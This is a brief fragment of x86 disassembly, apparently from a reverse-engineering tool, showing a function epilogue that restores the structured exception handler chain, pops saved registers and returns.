mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x10]
call fcn.00405990
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret